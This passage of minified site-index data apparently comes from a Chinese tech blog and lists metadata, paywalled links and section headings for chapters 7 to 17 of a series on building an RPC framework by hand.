9A%84%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-10-02-《RPC手撸专栏》第7章-自定义网络编解码的实现.md",key:"v-95ccd8a2",path:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%9A%84%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心实现类关系",slug:"_2-核心实现类关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第08章:模拟服务消费者与服务提供者之间的数据交互",frontmatter:{title:"第08章:模拟服务消费者与服务提供者之间的数据交互",pay:"https://articles.zsxq.com/id_cd0dpx73a4uk.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第08章:模拟服务消费者与服务提供者之间的数据交互"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-03-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC8%E7%AB%A0-%E6%A8%A1%E6%8B%9F%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E4%B9%8B%E9%97%B4%E7%9A%84%E6%95%B0%E6%8D%AE%E4%BA%A4%E4%BA%92.html"},{name:"twitter:title",content:"第08章:模拟服务消费者与服务提供者之间的数据交互"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-03-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC8%E7%AB%A0-%E6%A8%A1%E6%8B%9F%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E4%B9%8B%E9%97%B4%E7%9A%84%E6%95%B0%E6%8D%AE%E4%BA%A4%E4%BA%92.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-03-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC8%E7%AB%A0-%E6%A8%A1%E6%8B%9F%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E4%B9%8B%E9%97%B4%E7%9A%84%E6%95%B0%E6%8D%AE%E4%BA%A4%E4%BA%92.html",relativePath:"md/middleware/rpc/2022-10-03-《RPC手撸专栏》第8章-模拟服务消费者与服务提供者之间的数据交互.md",key:"v-2ea42476",path:"/md/middleware/rpc/2022-10-03-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC8%E7%AB%A0-%E6%A8%A1%E6%8B%9F%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E4%B9%8B%E9%97%B4%E7%9A%84%E6%95%B0%E6%8D%AE%E4%BA%A4%E4%BA%92.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心类实现关系",slug:"_2-核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第09章:服务提供者调用真实方法的实现",frontmatter:{title:"第09章:服务提供者调用真实方法的实现",pay:"https://articles.zsxq.com/id_fwxlxhq2bthz.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第09章:服务提供者调用真实方法的实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-04-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第09章:服务提供者调用真实方法的实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-04-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-04-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-10-04-《RPC手撸专栏》第9章-服务提供者调用真实方法的实现.md",key:"v-1a671b53",path:"/md/middleware/rpc/2022-10-04-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:3,title:"1.整体流程设计",slug:"_1-整体流程设计"},{level:3,title:"2.核心类实现关系",slug:"_2-核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第10章:测试服务提供者调用真实方法",frontmatter:{title:"第10章:测试服务提供者调用真实方法",pay:"https://articles.zsxq.com/id_1uamc23nb7ws.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第10章:测试服务提供者调用真实方法"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-05-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC10%E7%AB%A0-%E6%B5%8B%E8%AF%95%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html"},{name:"twitter:title",content:"第10章:测试服务提供者调用真实方法"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-05-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC10%E7%AB%A0-%E6%B5%8B%E8%AF%95%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-05-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC10%E7%AB%A0-%E6%B5%8B%E8%AF%95%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html",relativePath:"md/middleware/rpc/2022-10-05-《RPC手撸专栏》第10章-测试服务提供者调用真实方法.md",key:"v-34bfc547",path:"/md/middleware/rpc/2022-10-05-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC10%E7%AB%A0-%E6%B5%8B%E8%AF%95%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心类实现关系",slug:"_2-核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第11章:服务提供者扩展支持CGLib调用真实方法",frontmatter:{title:"第11章:服务提供者扩展支持CGLib调用真实方法",pay:"https://articles.zsxq.com/id_wjwsso804nip.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第11章:服务提供者扩展支持CGLib调用真实方法"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-06-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%89%A9%E5%B1%95%E6%94%AF%E6%8C%81CGLib%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html"},{name:"twitter:title",content:"第11章:服务提供者扩展支持CGLib调用真实方法"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-06-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%89%A9%E5%B1%95%E6%94%AF%E6%8C%81CGLib%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-06-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%89%A9%E5%B1%95%E6%94%AF%E6%8C%81CGLib%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html",relativePath:"md/middleware/rpc/2022-10-06-《RPC手撸专栏》第11章-服务提供者扩展支持CGLib调用真实方法.md",key:"v-44aa6488",path:"/md/middleware/rpc/2022-10-06-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%89%A9%E5%B1%95%E6%94%AF%E6%8C%81CGLib%E8%B0%83%E7%94%A8%E7%9C%9F%E5%AE%9E%E6%96%B9%E6%B3%95.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第12章:实现服务消费者与服务提供者直接通信",frontmatter:{title:"第12章:实现服务消费者与服务提供者直接通信",pay:"https://articles.zsxq.com/id_wpfhwa85newn.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第12章:实现服务消费者与服务提供者直接通信"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-08-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC12%E7%AB%A0-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E7%9B%B4%E6%8E%A5%E9%80%9A%E4%BF%A1.html"},{name:"twitter:title",content:"第12章:实现服务消费者与服务提供者直接通信"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-08-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC12%E7%AB%A0-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E7%9B%B4%E6%8E%A5%E9%80%9A%E4%BF%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-08-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC12%E7%AB%A0-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E7%9B%B4%E6%8E%A5%E9%80%9A%E4%BF%A1.html",relativePath:"md/middleware/rpc/2022-10-08-《RPC手撸专栏》第12章-实现服务消费者与服务提供者直接通信.md",key:"v-8da2b212",path:"/md/middleware/rpc/2022-10-08-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC12%E7%AB%A0-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E4%B8%8E%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E7%9B%B4%E6%8E%A5%E9%80%9A%E4%BF%A1.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心类实现关系",slug:"_2-核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第13章:服务消费者异步转同步直接获取返回结果",frontmatter:{title:"第13章:服务消费者异步转同步直接获取返回结果",pay:"https://articles.zsxq.com/id_dfzr8j7xsn7e.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第13章:服务消费者异步转同步直接获取返回结果"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-09-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C.html"},{name:"twitter:title",content:"第13章:服务消费者异步转同步直接获取返回结果"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-09-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-09-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C.html",relativePath:"md/middleware/rpc/2022-10-09-《RPC手撸专栏》第13章-服务消费者异步转同步直接获取返回结果.md",key:"v-9ea8a078",path:"/md/middleware/rpc/2022-10-09-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第14章:服务消费者异步转同步的自定义Future与AQS实现",frontmatter:{title:"第14章:服务消费者异步转同步的自定义Future与AQS实现",pay:"https://articles.zsxq.com/id_6v8wcbaaitg4.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第14章:服务消费者异步转同步的自定义Future与AQS实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-10-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89Future%E4%B8%8EAQS%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第14章:服务消费者异步转同步的自定义Future与AQS实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-10-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89Future%E4%B8%8EAQS%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-10-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89Future%E4%B8%8EAQS%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-10-10-《RPC手撸专栏》第14章-服务消费者异步转同步的自定义Future与AQS实现.md",key:"v-57ca9e24",path:"/md/middleware/rpc/2022-10-10-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89Future%E4%B8%8EAQS%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第15章:服务消费者同步、异步、单向调用的实现",frontmatter:{title:"第15章:服务消费者同步、异步、单向调用的实现",pay:"https://articles.zsxq.com/id_oixsibgwepmu.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第15章:服务消费者同步、异步、单向调用的实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-11-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%90%8C%E6%AD%A5-%E5%BC%82%E6%AD%A5-%E5%8D%95%E5%90%91%E8%B0%83%E7%94%A8%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第15章:服务消费者同步、异步、单向调用的实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-11-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%90%8C%E6%AD%A5-%E5%BC%82%E6%AD%A5-%E5%8D%95%E5%90%91%E8%B0%83%E7%94%A8%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-11-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%90%8C%E6%AD%A5-%E5%BC%82%E6%AD%A5-%E5%8D%95%E5%90%91%E8%B0%83%E7%94%A8%E7%9A%84%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-10-11-《RPC手撸专栏》第15章-服务消费者同步-异步-单向调用的实现.md",key:"v-391e7474",path:"/md/middleware/rpc/2022-10-11-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%90%8C%E6%AD%A5-%E5%BC%82%E6%AD%A5-%E5%8D%95%E5%90%91%E8%B0%83%E7%94%A8%E7%9A%84%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第16章:服务消费者回调方法的实现",frontmatter:{title:"第16章:服务消费者回调方法的实现",pay:"https://articles.zsxq.com/id_7nlqbj3z8rgw.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第16章:服务消费者回调方法的实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-12-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC16%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%9B%9E%E8%B0%83%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第16章:服务消费者回调方法的实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-12-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC16%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%9B%9E%E8%B0%83%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-12-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC16%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%9B%9E%E8%B0%83%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-10-12-《RPC手撸专栏》第16章-服务消费者回调方法的实现.md",key:"v-4bcd5a36",path:"/md/middleware/rpc/2022-10-12-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC16%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%9B%9E%E8%B0%83%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心类实现关系",slug:"_2-核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第17章:服务消费者实现动态代理功能屏蔽构建请求协议对象的细节",frontmatter:{title:"第17章:服务消费者实现动态代理功能屏蔽构建请求协议对象的细节",pay:"https://articles.zsxq.com/id_bv0jkh6fhr1w.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第17章:服务消费者实现动态代理功能屏蔽构建请求协议对象的细节"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html"},{name:"twitter:title",content:"第17章:服务消费者实现动态代理功能屏蔽构建请求协议对象的细节"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html",relativePath:"md/middleware/rpc/2022-10-13-《RPC手撸专栏》第17章-服务消费者实现动态代理功能屏蔽请求协议对象的细节.md",key:"v-4f5e983c",path:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%